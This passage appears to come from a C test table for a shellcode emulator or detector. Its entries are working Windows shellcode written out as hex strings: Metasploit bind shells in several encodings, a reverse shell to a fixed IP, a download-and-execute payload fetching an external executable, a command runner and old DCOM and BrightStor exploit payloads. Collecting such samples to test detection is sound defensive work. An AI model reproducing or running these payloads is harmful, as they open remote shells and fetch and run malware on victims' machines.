"\xeb\x97\xeb\xb4\x40\xd2\xe1\xcd\x46\xd1\xc0\x34\x7c\x47\x0f\xe8" "\x32\xf6\xa0\x9f\x63\x12\xc0\xa6\xcc\x1f\x60\x4b\x18\x0f\x2a\x2b" "\x44\x3f\xa0\x49\x2b\x37\x37\xa1\x84\x22\xf0\xa4\xcc\x50\x1b\x4b" "\x07\x1f\xa0\xb0\x5b\xbe\xa0\x80\x4f\x4d\x43\x4e\x09\x1d\xc7\x90" "\xb8\xc5\x4d\x93\x21\x7b\x18\xf2\x2f\x64\x58\xf2\x18\x47\xd4\x10" "\x2f\xd8\xc6\x3c\x7c\x43\xd4\x16\x18\x9a\xce\xa6\xc6\xfe\x23\xc2" "\x12\x79\x29\x3f\x97\x7b\xf2\xc9\xb2\xbe\x7c\x3f\x91\x40\x78\x93" "\x14\x40\x68\x93\x04\x40\xd4\x10\x21\x7b\x3a\x9c\x21\x40\xa2\x21" "\xd2\x7b\x8f\xda\x37\xd4\x7c\x3f\x91\x79\x3b\x91\x12\xec\xfb\xa8" "\xe3\xbe\x05\x29\x10\xec\xfd\x93\x12\xec\xfb\xa8\xa2\x5a\xad\x89" "\x10\xec\xfd\x90\x13\x47\x7e\x3f\x97\x80\x43\x27\x3e\xd5\x52\x97" "\xb8\xc5\x7e\x3f\x97\x75\x41\xa4\x21\x7b\x48\xad\xce\xf6\x41\x90" "\x1e\x3a\xe7\x49\xa0\x79\x6f\x49\xa5\x22\xeb\x33\xed\xed\x69\xed" "\xb9\x51\x07\x53\xca\x69\x13\x6b\xec\xb8\x43\xb2\xb9\xa0\x3d\x3f" "\x32\x57\xd4\x16\x1c\x44\x79\x91\x16\x42\x41\xc1\x16\x42\x7e\x91" "\xb8\xc3\x43\x6d\x9e\x16\xe5\x93\xb8\xc5\x41\x3f\xb8\x24\xd4\x10" "\xcc\x44\xd7\x43\x83\x77\xd4\x16\x15\xec\xfb\xa8\xb7\x99\x2f\x9f" "\x14\xec\xfd\x3f\x97\x13\x2b\xc0", .codesize = 344, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "win32_bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com", .code = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x56\x4b\x4e" "\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x48" "\x4e\x46\x46\x52\x46\x52\x4b\x38\x45\x54\x4e\x33\x4b\x38\x4e\x47" "\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x38\x4f\x54\x4a\x51\x4b\x38" "\x4f\x45\x42\x52\x41\x50\x4b\x4e\x49\x44\x4b\x58\x46\x43\x4b\x58" "\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c" "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x33\x46\x45\x46\x52\x4a\x42\x45\x47\x45\x4e\x4b\x48" "\x4f\x55\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x34" "\x4b\x48\x4f\x35\x4e\x41\x41\x50\x4b\x4e\x43\x50\x4e\x52\x4b\x38" "\x49\x58\x4e\x36\x46\x32\x4e\x31\x41\x36\x43\x4c\x41\x33\x4b\x4d" "\x46\x56\x4b\x38\x43\x54\x42\x33\x4b\x48\x42\x34\x4e\x30\x4b\x58" "\x42\x57\x4e\x41\x4d\x4a\x4b\x38\x42\x54\x4a\x30\x50\x55\x4a\x46" "\x50\x48\x50\x54\x50\x30\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x56" "\x43\x55\x48\x46\x4a\x46\x43\x33\x44\x43\x4a\x46\x47\x57\x43\x57" "\x44\x53\x4f\x55\x46\x35\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e" "\x4e\x4f\x4b\x53\x42\x35\x4f\x4f\x48\x4d\x4f\x45\x49\x48\x45\x4e" "\x48\x36\x41\x58\x4d\x4e\x4a\x30\x44\x50\x45\x55\x4c\x56\x44\x30" "\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x50\x45\x4f\x4d\x4a\x47\x45" "\x4f\x4f\x48\x4d\x43\x35\x43\x55\x43\x35\x43\x45\x43\x35\x43\x54" "\x43\x45\x43\x34\x43\x55\x4f\x4f\x42\x4d\x48\x46\x4a\x46\x41\x51" "\x4e\x35\x48\x36\x43\x35\x49\x58\x41\x4e\x45\x49\x4a\x36\x46\x4a" "\x4c\x41\x42\x37\x47\x4c\x47\x45\x4f\x4f\x48\x4d\x4c\x46\x42\x41" "\x41\x55\x45\x35\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x52" "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x35\x45\x45\x4f\x4f\x42\x4d" "\x4a\x56\x45\x4e\x49\x44\x48\x58\x49\x34\x47\x45\x4f\x4f\x48\x4d" "\x42\x55\x46\x35\x46\x55\x45\x35\x4f\x4f\x42\x4d\x43\x39\x4a\x46" "\x47\x4e\x49\x37\x48\x4c\x49\x47\x47\x35\x4f\x4f\x48\x4d\x45\x45" "\x4f\x4f\x42\x4d\x48\x36\x4c\x46\x46\x46\x48\x46\x4a\x56\x43\x46" "\x4d\x56\x49\x48\x45\x4e\x4c\x36\x42\x55\x49\x45\x49\x42\x4e\x4c" "\x49\x38\x47\x4e\x4c\x46\x46\x54\x49\x38\x44\x4e\x41\x43\x42\x4c" "\x43\x4f\x4c\x4a\x50\x4f\x44\x44\x4d\x42\x50\x4f\x44\x34\x4e\x52" "\x43\x39\x4d\x48\x4c\x37\x4a\x33\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56" "\x44\x37\x50\x4f\x43\x4b\x48\x31\x4f\x4f\x45\x37\x46\x34\x4f\x4f" "\x48\x4d\x4b\x55\x47\x55\x44\x55\x41\x45\x41\x55\x41\x45\x4c\x56" "\x41\x50\x41\x35\x41\x55\x45\x55\x41\x55\x4f\x4f\x42\x4d\x4a\x56" "\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x36" "\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f\x42\x4d\x4b\x48\x47\x45\x4e\x4f" "\x43\x38\x46\x4c\x46\x56\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d" "\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x35\x43\x35\x4f\x4f\x48\x4d" "\x4f\x4f\x42\x4d\x5a", .codesize = 709, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "win32_bind - EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com", .code = "\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x02" "\x19\x61\x76\x83\xeb\xfc\xe2\xf4\xfe\x73\x8a\x3b\xea\xe0\x9e\x89" "\xfd\x79\xea\x1a\x26\x3d\xea\x33\x3e\x92\x1d\x73\x7a\x18\x8e\xfd" "\x4d\x01\xea\x29\x22\x18\x8a\x3f\x89\x2d\xea\x77\xec\x28\xa1\xef" "\xae\x9d\xa1\x02\x05\xd8\xab\x7b\x03\xdb\x8a\x82\x39\x4d\x45\x5e" "\x77\xfc\xea\x29\x26\x18\x8a\x10\x89\x15\x2a\xfd\x5d\x05\x60\x9d" "\x01\x35\xea\xff\x6e\x3d\x7d\x17\xc1\x28\xba\x12\x89\x5a\x51\xfd" "\x42\x15\xea\x06\x1e\xb4\xea\x36\x0a\x47\x09\xf8\x4c\x17\x8d\x26" "\xfd\xcf\x07\x25\x64\x71\x52\x44\x6a\x6e\x12\x44\x5d\x4d\x9e\xa6" "\x6a\xd2\x8c\x8a\x39\x49\x9e\xa0\x5d\x90\x84\x10\x83\xf4\x69\x74" "\x57\x73\x63\x89\xd2\x71\xb8\x7f\xf7\xb4\x36\x89\xd4\x4a\x32\x25" "\x51\x4a\x22\x25\x41\x4a\x9e\xa6\x64\x71\x70\x2a\x64\x4a\xe8\x97" "\x97\x71\xc5\x6c\x72\xde\x36\x89\xd4\x73\x71\x27\x57\xe6\xb1\x1e" "\xa6\xb4\x4f\x9f\x55\xe6\xb7\x25\x57\xe6\xb1\x1e\xe7\x50\xe7\x3f" "\x55\xe6\xb7\x26\x56\x4d\x34\x89\xd2\x8a\x09\x91\x7b\xdf\x18\x21" "\xfd\xcf\x34\x89\xd2\x7f\x0b\x12\x64\x71\x02\x1b\x8b\xfc\x0b\x26" "\x5b\x30\xad\xff\xe5\x73\x25\xff\xe0\x28\xa1\x85\xa8\xe7\x23\x5b" "\xfc\x5b\x4d\xe5\x8f\x63\x59\xdd\xa9\xb2\x09\x04\xfc\xaa\x77\x89" "\x77\x5d\x9e\xa0\x59\x4e\x33\x27\x53\x48\x0b\x77\x53\x48\x34\x27" "\xfd\xc9\x09\xdb\xdb\x1c\xaf\x25\xfd\xcf\x0b\x89\xfd\x2e\x9e\xa6" "\x89\x4e\x9d\xf5\xc6\x7d\x9e\xa0\x50\xe6\xb1\x1e\xf2\x93\x65\x29" "\x51\xe6\xb7\x89\xd2\x19\x61\x76", .codesize = 344, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "win32_bind - EXITFUNC=seh LPORT=4444 Size=344 Encoder=ShikataGaNai http://metasploit.com", .code = "\x31\xc9\xdd\xc1\xd9\x74\x24\xf4\xbb\xbe\x78\x0e\x3a\xb1\x51\x5e" "\x83\xc6\x04\x31\x5e\x11\x03\xe0\x69\xec\xcf\xe0\xe0\x1b\x62\xf0" "\x0c\x24\x82\xff\x8f\x50\x11\xdb\x6b\xec\xaf\x1f\xff\x8e\x2a\x27" "\xfe\x81\xbe\x98\x18\xd5\x9e\x06\x18\x02\x69\xcd\x2e\x5f\x6b\x3f" "\x7f\x9f\xf5\x13\x04\xdf\x72\x6c\xc4\x2a\x77\x73\x04\x41\x7c\x48" "\xdc\xb2\x55\xdb\x39\x31\xfa\x07\xc3\xad\x63\xcc\xcf\x7a\xe7\x8d" "\xd3\x7d\x1c\x32\xc0\xf6\x6b\x58\x3c\x15\x0d\x63\x0d\xfe\xa9\xe8" "\x2d\x30\xb9\xae\xbd\xbb\xcd\x32\x13\x30\x6d\x42\x35\x2f\xe0\x1c" "\xc7\x43\xac\x5f\x01\xfd\x1e\xf9\xc6\x31\x93\x6d\x60\x45\xe1\x32" "\xda\x56\xd5\xa4\x29\x45\x2a\x0f\xfe\x69\x05\x30\x77\x70\xcc\x4f" "\x6a\x73\x13\x1a\x1f\x86\xec\x74\xb7\x5f\x1b\x81\xe5\x37\xe3\xbf" "\xa5\xe4\x48\x6c\x19\x48\x3c\xd1\xce\xb1\x12\xb3\x98\x5c\xcf\x5d" "\x0a\xd6\x0e\x34\xc4\x4c\xca\x46\xd2\xda\x14\x70\xb6\xf4\xbb\x29" "\xb8\x25\x53\x75\xeb\xe8\x4d\x22\x0b\x22\xde\x99\x0c\x1b\x89\xc4" "\xba\x1a\x03\x51\xc2\xf5\xc4\x09\x68\xaf\x1b\x61\x03\x27\x03\xf8" "\xe2\xc1\x9c\x05\x3c\x64\xdc\x29\xa7\xed\x46\xaf\x40\x91\xeb\xa6" "\x74\x3f\xa4\xe1\x5f\x0c\xcd\xf6\xca\xc8\x47\x1a\x3b\x11\xa4\x70" "\xc2\xd3\x66\x7a\x79\xf8\xeb\x0f\x04\x38\xa7\xa4\x52\x50\xc5\x44" "\x17\xb7\xd6\xcd\x1c\x47\xfe\x76\xca\xe5\xae\xd9\xa5\x63\x50\x88" "\x14\x21\x03\xd5\x47\xa1\x0e\xf0\x6d\xfc\x02\xfd\xb8\x6a\x5a\xfe" "\x72\x94\x74\x8b\x2a\x96\xf6\x4f\xb0\x99\x2f\x1d\xc6\xb6\xb8\x51" "\xb2\x33\x66\xc2\x3c\xed\x67\x34", .codesize = 344, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "win32_bind - EXITFUNC=seh LPORT=4444 Size=349 Encoder=JmpCallAdditive http://metasploit.com", .code = "\xfc\xbb\x1e\x88\xb8\x04\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85" "\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\xe2\xe2\x53\x49\xf2\x0a\x5c" "\xad\xfd\x8d\x28\x3e\x25\x6a\xa4\xfa\x19\xf9\xc6\x01\x19\xfc\xd9" "\x81\x96\xe6\xae\xc9\x08\x16\x5a\xbc\xc3\x2c\x17\x3e\x3d\x7d\xe7" "\xd8\x6d\xfa\x27\xae\x6a\xc2\x62\x42\x75\x06\x99\xa9\x4e\xd2\x7a" "\x7a\xc5\x3f\x09\x25\x01\xc1\xe5\xbc\xc2\xcd\xb2\xcb\x8b\xd1\x45" "\x27\x30\xc6\xce\x3e\x5a\x32\xcd\x21\x61\x0b\x36\xc5\xee\x2f\xf8" "\x8d\xb0\xa3\x73\xe1\x2c\x11\x08\x42\x44\x37\x67\xcd\x1a\xc9\x9b" "\x81\x5d\x03\x05\x71\xc7\xc4\xf9\x47\x6f\x62\x8d\x95\x30\xd8\x8e" "\x0a\xa6\x2b\x9d\x57\x0d\xfc\xa1\x7e\x2e\x75\xb8\x19\x51\x68\x4b" "\xe4\x04\x19\x4e\x17\x76\xb5\x97\xee\x83\xeb\x7f\x0e\xbd\xa7\x2c" "\xa3\x12\x1b\x90\x10\xd7\xc8\xe9\x47\xb1\x86\x04\x34\x5b\x04\xae" "\x25\x36\xc2\x14\xbf\x48\xd4\x02\x3f\x7e\xb0\xbc\xee\x2b\xba\x6d" "\x78\x77\xe9\xa0\x90\x20\x0d\x6a\x31\x9b\x0e\x43\xde\xc6\xb8\xe2" "\x56\x5f\xc4\x3d\x38\x0b\x6e\x97\x46\x63\x1d\x7f\x5e\xfa\xe4\xf9" "\xf7\x03\x3e\xac\x08\x2b\xd9\x25\x93\xad\x4e\xd9\x36\xb8\x6a\x77" "\x99\xe3\x5d\x44\x90\xf4\xf4\x10\x2a\x18\x39\x59\xdf\x76\xc4\x1b" "\x0d\x78\x7b\xb0\xde\x09\x06\xf0\x4b\xba\x5c\x68\xfe\x42\x11\x7f" "\x01\xcf\x12\x7f\x2b\x74\xcc\x2d\x85\xdb\xa3\xbb\x24\x8a\x12\x69" "\x76\xd3\x45\xf9\xd5\xf2\x63\x34\x76\xfb\xba\xa2\x86\xfc\x74\xcc" "\xa9\x89\x2c\xce\xc9\x49\xb6\xd1\x18\x03\xc8\xfe\xcd\x53\xbc\xfb" "\x52\xc0\x3e\xd5\x92\x36\xc0\xda\x6c\xb6\xc1\xda\x6c", .codesize = 349, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "win32_reverse - EXITFUNC=seh LHOST=216.75.15.231 LPORT=4321 Size=287 Encoder=None http://metasploit.com", .code = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68" "\xd8\x4b\x0f\xe7\x66\x68\x10\xe1\x66\x53\x89\xe1\x95\x68\xec\xf9" "\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68" "\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3" "\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" "\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6" "\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6" "\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0", .codesize = 287, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "win32_downloadexec - URL=http://nepenthes.mwcollect.org/bad.exe Size=378 Encoder=None http://metasploit.com", .code = "\xeb\x10\x5a\x4a\x33\xc9\x66\xb9\x3c\x01\x80\x34\x0a\x99\xe2\xfa" "\xeb\x05\xe8\xeb\xff\xff\xff\x70\x4c\x99\x99\x99\xc3\xfd\x38\xa9" "\x99\x99\x99\x12\xd9\x95\x12\xe9\x85\x34\x12\xd9\x91\x12\x41\x12" "\xea\xa5\x12\xed\x87\xe1\x9a\x6a\x12\xe7\xb9\x9a\x62\x12\xd7\x8d" "\xaa\x74\xcf\xce\xc8\x12\xa6\x9a\x62\x12\x6b\xf3\x97\xc0\x6a\x3f" "\xed\x91\xc0\xc6\x1a\x5e\x9d\xdc\x7b\x70\xc0\xc6\xc7\x12\x54\x12" "\xdf\xbd\x9a\x5a\x48\x78\x9a\x58\xaa\x50\xff\x12\x91\x12\xdf\x85" "\x9a\x5a\x58\x78\x9b\x9a\x58\x12\x99\x9a\x5a\x12\x63\x12\x6e\x1a" "\x5f\x97\x12\x49\xf3\x9d\xc0\x71\xc9\x99\x99\x99\x1a\x5f\x94\xcb" "\xcf\x66\xce\x65\xc3\x12\x41\xf3\x98\xc0\x71\xa4\x99\x99\x99\x1a" "\x5f\x8a\xcf\xdf\x19\xa7\x19\xec\x63\x19\xaf\x19\xc7\x1a\x75\xb9" "\x12\x45\xf3\xb9\xca\x66\xce\x75\x5e\x9d\x9a\xc5\xf8\xb7\xfc\x5e" "\xdd\x9a\x9d\xe1\xfc\x99\x99\xaa\x59\xc9\xc9\xca\xcf\xc9\x66\xce" "\x65\x12\x45\xc9\xca\x66\xce\x69\xc9\x66\xce\x6d\xaa\x59\x35\x1c" "\x59\xec\x60\xc8\xcb\xcf\xca\x66\x4b\xc3\xc0\x32\x7b\x77\xaa\x59" "\x5a\x71\xbf\x66\x66\x66\xde\xfc\xed\xc9\xeb\xf6\xfa\xd8\xfd\xfd" "\xeb\xfc\xea\xea\x99\xde\xfc\xed\xca\xe0\xea\xed\xfc\xf4\xdd\xf0" "\xeb\xfc\xfa\xed\xf6\xeb\xe0\xd8\x99\xce\xf0\xf7\xdc\xe1\xfc\xfa" "\x99\xdc\xe1\xf0\xed\xcd\xf1\xeb\xfc\xf8\xfd\x99\xd5\xf6\xf8\xfd" "\xd5\xf0\xfb\xeb\xf8\xeb\xe0\xd8\x99\xec\xeb\xf5\xf4\xf6\xf7\x99" "\xcc\xcb\xd5\xdd\xf6\xee\xf7\xf5\xf6\xf8\xfd\xcd\xf6\xdf\xf0\xf5" "\xfc\xd8\x99\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x70\x65\x6e\x74" "\x68\x65\x73\x2e\x6d\x77\x63\x6f\x6c\x6c\x65\x63\x74\x2e\x6f\x72" "\x67\x2f\x62\x61\x64\x2e\x65\x78\x65\x80", .codesize = 378, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "win32_exec - EXITFUNC=seh CMD=cmd -c ftp.exe -s foo.scripted_sequence; echo der fox hat die gans gezogen Size=205 Encoder=None http://metasploit.com", .code = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" "\x83\xc0\x7b\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff" "\xe7\x63\x6d\x64\x20\x2d\x63\x20\x66\x74\x70\x2e\x65\x78\x65\x20" "\x2d\x73\x20\x66\x6f\x6f\x2e\x73\x63\x72\x69\x70\x74\x65\x64\x5f" "\x73\x65\x71\x75\x65\x6e\x63\x65\x3b\x20\x65\x63\x68\x6f\x20\x64" "\x65\x72\x20\x66\x6f\x78\x20\x68\x61\x74\x20\x64\x69\x65\x20\x67" "\x61\x6e\x73\x20\x67\x65\x7a\x6f\x67\x65\x6e\x20\x00", .codesize = 205, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "some old dcom shellcode", .code = "\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff\xff\xff\x81\x36\x80\xbf\x32" // 0x0090 ..^1.... ....6..2" "\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2\xeb\x05\xe8\xe2\xff\xff\xff" // 0x00a0 ........ ........" "\x03\x53\x06\x1f\x74\x57\x75\x95\x80\xbf\xbb\x92\x7f\x89\x5a\x1a" // 0x00b0 .S..tWu. ......Z." "\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09\xf9\x3a\x6b\xb6\xd7\x9f\x4d" // 0x00c0 ...|..2. ..:k...M" "\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6\xb3\x5a\xf8\xec\xbf\x32\xfc" // 0x00d0 .q....2. ..Z...2." "\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf\xeb\xcd\xc2\x88\x36\x74\x90" // 0x00e0 ......A. .....6t." "\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad\xbe\x32\x94\x09\xf9\x22\x6b" // 0x00f0 ..Z.~.$| ..2..."k" "\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81\xbf\x32\x1d\xc6\xab\xcd\xe2" // 0x0100 ..LLb... ..2....." "\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81\xbf\x32\x1d\xc6\xa7\xcd\xe2" // 0x0110 ...y|... ..2....." "\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80\xbf\x32\x1d\xc6\xa3\xcd\xe2" // 0x0120 ....u..j ..2....." "\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80\xbf\x32\x1d\xc6\x9f\xcd\xe2" // 0x0130 .....x.z ..2....." "\x84\xd7\x96\x39\xae\x56\xda\x4a\x80\xbf\x32\x1d\xc6\x9b\xcd\xe2" // 0x0140 ...9.V.J ..2....." "\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80\xbf\x32\x1d\xc6\x97\xcd\xe2" // 0x0150 .......Z ..2....." "\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80\xbf\x32\x1d\xc6\x93\x01\x6b" // 0x0160 ....F..* ..2....k" "\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81\xbe\x32\x94\x7f\xe9\x2a\xc4" // 0x0170 .S....f. ..2...*." "\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6\xa3\xb9\x4c\xd7\xe8\x5a\x96" // 0x0180 ..b...bk ...L..Z." "\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3\x40\x64\xb4\xd7\xec\xcd\xc2" // 0x0190 ..n.L.$. .@d....." "\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50\xd7\x57\xec\xe5\xbf\x5a\xf7" // 0x01a0 ..c..... P.W...Z." "\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4\x32\x0e\xb0\xb3\x7f\x01\x5d" // 0x01b0 .......x .2.....]" "\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4\xaf\x76\x6a\xc4\x9b\x0f\x1d" // 0x01c0 .~'?bB.. ..vj...." "\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4\x9b\x62\x19\xc4\x9b\x22\xc0" // 0x01d0 ..z...~. ..b..."." "\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f\xc9\x02\xc5\x7f\xe9\x22\x1f" // 0x01e0 ..c...c. ......"." "\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b\x77\x65\x6b\xd6\x93\xcd\xc2" // 0x01f0 L..k.@d. .wek...." "\x94\xea\x64\xf0\x21\x8f\x32\x94\x80\x3a\xf2\xec\x8c\x34\x72\x98" // 0x0200 ..d.!.2. .:...4r." "\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89\x34\x72\xa0\x0b\x17\x8a\x94" // 0x0210 ...9..:. .4r....." "\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80\xec\x67\xc2\xd7\x34\x5e\xb0" // 0x0220 ...Q.... ..g..4^." "\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83\x6a\xb9\xde\x98\x34\x68\xb4" // 0x0230 .4w...7. .j...4h." "\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83\x4a\x01\x6b\x7c\x8c\xf2\x38" // 0x0240 .b...4.. .J.k|..8" "\xba\x7b\x46\x93\x41\x70\x3f\x97\x78\x54\xc0\xaf\xfc\x9b\x26\xe1" // 0x0250 .{F.Ap?. xT....&." "\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c\xf4\xb9\xce\x9c\xbc\xef\x1f" // 0x0260 a4h..bT. ........" "\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b\x6a\x6d\xca\xdd\xe4\xf0\x90" // 0x0270 .41Qk..T .jm....." "\x80\x2f\xa2\x04\x00\x5c\x00\x43\x00\x24\x00\x5c\x00\x31\x00\x32" // 0x0280 ./...\.C .$.\.1.2" "\x00\x33\x00\x34\x00\x35\x00\x36\x00\x31\x00\x31\x00\x31\x00\x31" // 0x0290 .3.4.5.6 .1.1.1.1" "\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31\x00\x31" // 0x02a0 .1.1.1.1 .1.1.1.1" "\x00\x31\x00\x31\x00\x31\x00\x2e\x00\x64\x00\x6f\x00\x63\x00\x00" // 0x02b0 .1.1.1.. .d.o.c.." "\x00\x01\x10\x08\x00\xcc\xcc\xcc\xcc\x20\x00\x00\x00\x30\x00\x2d" // 0x02c0 ........ . ...0.-" "\x00\x00\x00\x00\x00\x88\x2a\x0c\x00\x02\x00\x00\x00\x01\x00\x00" // 0x02d0 ......*. ........" "\x00\x28\x8c\x0c\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00" // 0x02e0 .(...... ........" "\x00", .codesize = 593, .in_state.reg = {0,0xfffffe6c,0,0,0x12fe98,0x12ff74,0x12fe9c,0x12ff74}, // ollydbg .in_state.mem_state = {0, 0}, }, { .instr = "brihgtstor discovery", .code = "\xeb\x06\x41\x41\x14\x57\x80\x23" // 0x0030 AAAAAAAA ..AA.W.#" "\xeb\x10\x5b\x4b\x33\xc9\x66\xb9\x25\x01\x80\x34\x0b\x99\xe2\xfa" // 0x0040 ..[K3.f. %..4...." "\xeb\x05\xe8\xeb\xff\xff\xff\x70\x62\x99\x99\x99\xc6\xfd\x38\xa9" // 0x0050 .......p b.....8." "\x99\x99\x99\x12\xd9\x95\x12\xe9\x85\x34\x12\xf1\x91\x12\x6e\xf3" // 0x0060 ........ .4....n." "\x9d\xc0\x71\x02\x99\x99\x99\x7b\x60\xf1\xaa\xab\x99\x99\xf1\xee" // 0x0070 ..q....{ `......." 